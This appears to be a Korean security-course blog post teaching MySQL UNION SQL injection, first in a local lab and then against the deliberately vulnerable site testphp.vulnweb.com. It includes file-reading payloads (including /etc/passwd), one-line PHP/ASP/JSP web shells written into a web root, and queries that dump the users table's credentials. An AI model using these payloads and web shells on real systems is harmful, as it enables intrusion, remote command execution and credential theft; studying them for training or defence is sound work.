[목차]
1. 테스트 환경 세팅
2. 테이블 및 데이터 생성
3, Union 쿼리 사용법
4. 실습
[테스트 환경 세팅]
1. 실습 설명
직접 DB를 설치하여 SQL 쿼리가 어떤식으로 요청되는지 확인해 보자.
2. 준비 사항
APM(Apache + PHP + MYSQL) 설치
MySQL 쿼리분석기 설치
3. 사용시스템
window7(MySQL(Test Target))
MySQL 퀄리분석기(Test Tool)
4. 작업 과정
windows 7에 APM 설치하기
windows 7에 MySQL 쿼리분석기 설치하기
① APM(Apache, PHP, MySQL) 설치
소프트웨어 알아서 구하기
기본값으로 설치
② MySQL 쿼리분석기 설치
소프트웨어 다운로드
https://downloads.mysql.com/archives/gui/
파일이름: mysql-gui-tools-5.0-r17-win32.msi
받은 후 기본값으로 설치
③ MySQL 쿼리분석기 실행 및 MySQL에 접속하기
시작 > 모든 프로그램 > MySQL > MySQL Query Browser
Stored Connection : MySQL1
Server Host : 127.0.0.1 /* MySQL의 IP 입력 */
Port : 3306 /* MySQL의 Port */
Username : root /* 기본 관리자 계정은 root */
Password : apmsetup /* 기본 관리자 계정 암호는 apmsetup */
Default Schema: WebHacking /* 임의의 이름(임의 DB를 생성하는 이름을 입력) */
[테이블 및 데이터 생성]
1. 테이블 생성
create table test (
id int,
name varchar(10),
passwd varchar(10)
);
2. 생성된 테이블 확인
select * from test;
3. 테이블 데이터 입력
create table test (id int,name varchar(10),passwd varchar(10));
insert into test (id, name, passwd) values(1, "chulsu", "123456");
insert into test (id, name, passwd) values(2, "gildong", "happy");
insert into test (id, name, passwd) values(3, "shadow", "test1234");
* 잘못된 정보가 등록된 경우에는 drop table 을 사용하여 지우고 다시 생성한다.
drop table test;
*생성된 테이블 항목 확인
select * from test;
4. 다른 명령어를 사용하여 정보를 확인
select 1;
select 1, 2, 3;
select user();
select * from test where id=1
select * from test where id=1 or 1
select * from test where id=1 or 1=1
[UNION 쿼리 사용법]
1. union 쿼리 (두개 이상의 쿼리를 이용하는 Union SQL Injection)
union 쿼리는 2가지 유형 (union select / union all select) 이 있다.
union 쿼리 사용시 주의 사항은 반드시 필드의 개수 및 필드의 자료형이 동일해야 한다.
2. union 쿼리 구문을 사용하기 전에 필드개수 파악하기
(ㄱ) order by 사용하는 경우필드의 개수를 파악하기 위해서
아래와 같이 order by(데이터 정렬)를 사용하여 확인한다.
select * from test order by 1;
(ㄴ) null 값을 사용하는 경우union을 사용하기 때문에
삽입한 null 개수가 필드의 수와 일치하지 않는 경우에 에러가 발생하는 점을 이용한다.
select * from test where id=1 union all select null;
3. order by 사용하여 컬럼의 개수를 확인 하는 방법
select * from test order by 1;
-> 에러없음(정렬된다.)
select * from test order by 2;
-> 에러없음(정렬된다.)
select * from test order by 3;
-> 에러없음(정렬된다.)
select * from test order by 4;
-> 에러발생
-> 왼쪽 하단 부분에 에러 메세지 "Unknown column '4' in 'order clause' 표시된다.
-> 따라서, 필드가 3개라는 것을 확인할 수 있다.
4. null 값을 사용하여 컬럼의 개수를 확인하는 방법
select * from test where id=1 union all select null;
-> 에러 발생
-> 왼쪽 하단 부분에 "The used SELECT statement have a different number of columns" 표시된다.
select * from test where id=1 union all select null, null;
-> 에러 발생
select * from test where id=1 union all select null, null, null;
-> 에러 없음
-> 따라서 null 3개인 경우에 에러가 없으므로 컬럼이 3개라는 것을 확인 할 수 있다.
5. 버전 정보 확인
버전 정보를 확인하기 위해 union 쿼리와 null 값 3개 중에 @@version / version() 함수를 삽입한다.
select * from test where id=1 union all select @@version,null,null#;
-> MySQL 5.1.41-community 버전이라는 것을 확인할 수 있다.
6. 데이터베이스 정보 확인
information_schema.schemata는 데이터베이스와 관련된 정보를 가지고 있으며,
이중에서 필드 shema_name을 사용하면 전체 데이터베이스 이름을 추출할 수 있다.
select * from test where id=1
union all
select null,null, schema_name from information_schema.schemata;
7. 테이블 이름 확인
information_schema.tables는 테이블 관련 모든 정보를 가지고 있으며,
table_name 필드 사용시 테이블 이름을 추출할 수 있다.
select * from test where id=1
UNION
SELECT null,null,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;
WHERE 조건절의 version은 MySQL 버전을 의미한다.
- 10은 MySQL 버전이 5인 경우이다.- 9는 MySQL 버전이 4인 경우이다.
정상적으로 충력이 정상적으로 되기 때문에 MySQL 10 버전이라는 것을 확인할 수 있다.
8. 필드 이름 확인
user_privileges의 필드 값을 추출해 보자.
information_schema.columns에는 필드(컬럼)의 정보를 포함하고 있으며
해당 필드 중 colum_name을 통해 필드 정보를 추출할 수 있다.
select * from test where id=1
UNION
SELECT null, null, column_name FROM
information_schema.columns WHERE table_name = 'user_privileges';
9. 파일 읽기
데이버베이스 load_file() 함수를 통해 시스템 파일을 읽는 방법을 사용해 보자.
아파치 웹서버의 웹페이지(EX: index.php)의 경로를 확인한다.
-> C:\APM_Setup\htdocs\index.php
다음과 같이 접근하고자 하는 파일의 물리적인 위치를 적어 준다.
테스트는 "윈도우 시스템 예"를 가지고 작업한다.
(윈도우 시스템의 예)
select * from test where id=1
UNION
SELECT null, null, load_file('C:\\APM_Setup\\htdocs\\index.php');
(유닉스 시스템 예)
select * from test where id=1
UNION
SELECT null, null, load_file('etc/passwd');
10. 파일쓰기
into_outfile() 함수를 이용하여 웹서버에 파일(sec.txt)을 생성해 보자.
select * from test where id=1
UNION ALL
SELECT 'your homepage belongs to me', null, null INTO OUTFILE
'C:\\APM_Setup\\htdocs\\sec.txt';
정상적으로 동작하는지 여부는
http://127.0.0.1/sec.txt 에 접속해 확인
11. 웹셀 만들기
"한 줄 웹셀(One Line WebShell, Single Line WebShell)"
구문을 인터넷을 통해 확인하고 정리해 보자
PHP :
<?php system($_GET[\'cmd\']); ?>
<?php @eval($_GET[\'cmd\']); ?>
<?php shell_exec($_GET[\'cmd\']); ?>
<?php echo passthru($_GET[\'cmd\']); ?>
ASP :
<% eval request("cmd") %>
ASP.NET :
<% @ Page Language="Jscript" %> <%eval(Request.Item["cmd"],"unsafe"); %>
JSP : <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
참고 : 이글루시큐리티 보안 정보
webshell 분류 및 대응 방안
* 사용 예
select * from test where id=1
union all
SELECT '<? system($_GET[\'input\']); ?>', null, null INTO OUTFILE
'C:\\APM_Setup\\htdocs\\hack.php';
위 상태로 브라우저를 열면
출력 화면이 보기 좋지 않게 나온다.
그래서 <pre></pre>로 묶어 주면 보기 좋게 출력된다.
select * from test where id=1
union all
SELECT '<pre><? system($_GET[\'input\']); ?></pre>', null, null INTO OUTFILE
'C:\\APM_Setup\\htdocs\\hack.php';
C:\APM_Setup\htdocs 디렉토리에 생성된
webshell.php 파일 확인 후
웹브라우저에서 확인
http://127.0.0.1/hack.php?input=ipconfig
* 윈도우에서 정보 확인을 위한 커맨드를 알고 있야 한다.
http://127.0.0.1/webshell.php?cmd=dir
http://127.0.0.1/webshell.php?cmd=hostname
http://127.0.0.1/webshell.php?cmd=arp -a
http://127.0.0.1/webshell.php?cmd=tasklikst /m
http://127.0.0.1/webshell.php?cmd=net user
[실습]
MySQL DB 공격을 통한 데이터베이스 정보 추출
1.실습 설명
testphp.vulnweb.com 사이트(WEB-MySQL)를
대상으로 테스트를 해보자.
2. 사용시스템
- http://testphp.vulnweb.com(Test Target)
- windows 7(웹브라우저)
3. 실습
① 특수문자 삽입(')을 통해 에러 유출 유무 확인
아래와 같이 웹브라우저에 입력한다.
http://testphp.vulnweb.com/listproducts.php?cat=1'
다음과 같은 경우
(ㄱ) 특수 문자등이 차단되거나
(ㄴ) 에러가 발생되지 않는 경우는
error-based 공격기법으로 정보를 알아낼수 없다.
따라서 Blind 타입 공격을 통해 취약점을 확인해야 한다.
(ㄱ) 첫번째는 원래 URL 정보이며, 정상적인 쿼리 결과를 제공한다.
(ㄴ) 두번째는 거짓조건 and 1=0을 삽입한 경우, 쿼리가 수행되지 않기 때문에 화면에 정보가 출력되지 않는다.
(ㄷ) 세번째는 참조건인 and 1=1을 삽입한 경우, 쿼리가 수행되어 결과가 출력된다.
(첫번째) 원래 URL 정보 입력(정상적인 쿼리 결과 제공)
http://testphp.vulnweb.com/listproducts.php?cat=1
(두번째) 거짓조건 and 1=0을 삽입한 경우(쿼리가 수행되지 않기 때문에 화면에 정보가 출력 않됨)
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0
(세번째) 참조건인 and 1=1을 삽입한 경우(쿼리가 수행되어 결과가 출력)
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=1
에러가 발생되지 않는 사이트에 대해서 사용할 수 있는 다른 기법으로
time delay SQL Injection을 진행할 수도 있다.
time delay는 특정 시간만큼 쿼리 결과를 늦게 출력되도록 만드는 명령어이다.
만약 5초 이후에 쿼리 결과를 확인할 수 있다면 취약점이 있다고 판단할 수 있다.
[참고] DBMS 별 time delay 명령어 MS SQL : waitfor delay MySQL : 4버전에서는 benchmark(), 5버전에서는 sleep() Oracle : BEGIN DBMS_LOCK.SLEEP(5); END
해당 쿼리 삽입 후 5초 후에 쿼리 결과가 보인다면 sleep() 함수 사용이 가능하다는 것을 짐작할 수 있기 때문에 데이터 베이스가 MySQL이라고 추측할 수 있다.
아래와 같이 입력하면 5초뒤에 페이지가 보인다는 것을 확인할 수 있다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and sleep(5)
② union 쿼리를 사용하기 위해 필드 개수를 확인
(NULL 1일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL
(..중략..)
(NULL 11개일때) 에러 없음
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
③ 데이터베이스 계정 추출(사용자 정보)하기
11개의 필드 확인
null 필드 대신 user(), version() 함수를 넣는다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, user(), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, @@version#
* 참고
UNION 쿼리 대신 그룹키 에러를 통한 정보 획득 방법도 있고
기타 다양한 패턴등이 존재하므로 검색을 통해 공부해보자
④ 또 다른 방법을 통해 정보를 확인해 본다.
NULL 패턴 대신, 일련 번호 1부터 11까지 대입해 본다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#
전제 필드 중 3개의 필드(7, 2, 9)만 사용이 가능하다는 것을 알수 있다.
version 및 user() 함수를 이용해 DBMS 버전 확인
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1,2,3,4,5,6,user(),8,9,10,version()#
⑤ 사용자 계정과 암호를 확인하기
사용자 계정과 암호가 들어 있을만 한 테이블과 필드를 찾는다.
테이블 정보가 포함된 information_schema.tables를 사용하고
필드는 table_name,
where 조건절에는 현재 데이터베이스를 선택한다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select 1, 2,3,4,5,6,7,8,9,10,
group_concat(table_name) from information_schema.tables where table_schema=database()#
-> 출력 결과
"artists,carts,categ,featured,guestbook,pictures,products,users" 중
users 테이블에 사용자 정보가 들어 있을 가능성이 높다.
컬럼 정보(column_name)를 가지고 있는 information_schema.columns을
from 절에서 사용하고, where 조건절에는 users 테이블을 넣어서 실행한다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0
union select 1, 2,3,4,5,6,7,8,9,10,
group_concat(column_name), from information_schema.columns
where table_name='users'#
-> 출력된 정보 중 사용자 이름은 uname 필드에 암호는 pass 필드에 들어 있을 것으로 추정된다.
사용자 계정을 포함하고 있을 것으로 추정되는 uname을 select 한다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0
union select 1, 2,3,4,5,6,7,8,9,10, uname from users#
-> 사용자 계정이 'test'라는 것을 확인했다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0
union select 1, 2,3,4,5,6,7,8,9,10, pass from users#
-> test 사용자의 암호 또한 'test'라는 것을 알 수 있다.
서비스 중지
끌때는 웹서버 먼저 끄고 DB 끈다.
킬때는 DB먼저 키고 웹서버 킨다.
(정리)
1. 필드 확인
union all select 1~~~ #
2. DB 종류 및 버전 확인
version() / @@version
3. DB 이름 확인
?cat=1 and 1=0 union select 1, group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()#
4. Table 이름 확인
?cat=1 and 1=0 union select 1, group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='users'#
5. Column 이름 확인
?cat=1 and 1=0 union select 1, uname,3,4,5,6,7,8,9,10,11 from users#
6.Column 내용 확인
?cat=1 and 1=0 union select 1, pass,3,4,5,6,7,8,9,10,11 from users#
하나씩 대입하기 번거로우니 프로그램으로 만든다.
'정보보안공부 > 정보보안전문과정' 카테고리의 다른 글
정보보안 과정 Day 118-1 : Paros + sqlmap (0) | 2021.02.26 |
---|---|
정보보안 과정 Day 118 : MySQL DB 공격 실습 (0) | 2021.02.26 |
정보보안 과정 Day116-1 : SQL Injection (0) | 2021.02.24 |
정보보안 과정 Day116 : 웹 보안 시작 (진단기준 / HTTP 프로토콜) (0) | 2021.02.24 |
정보보안 과정 Day115 : 리눅스 서버 보안 종료 (0) | 2021.02.23 |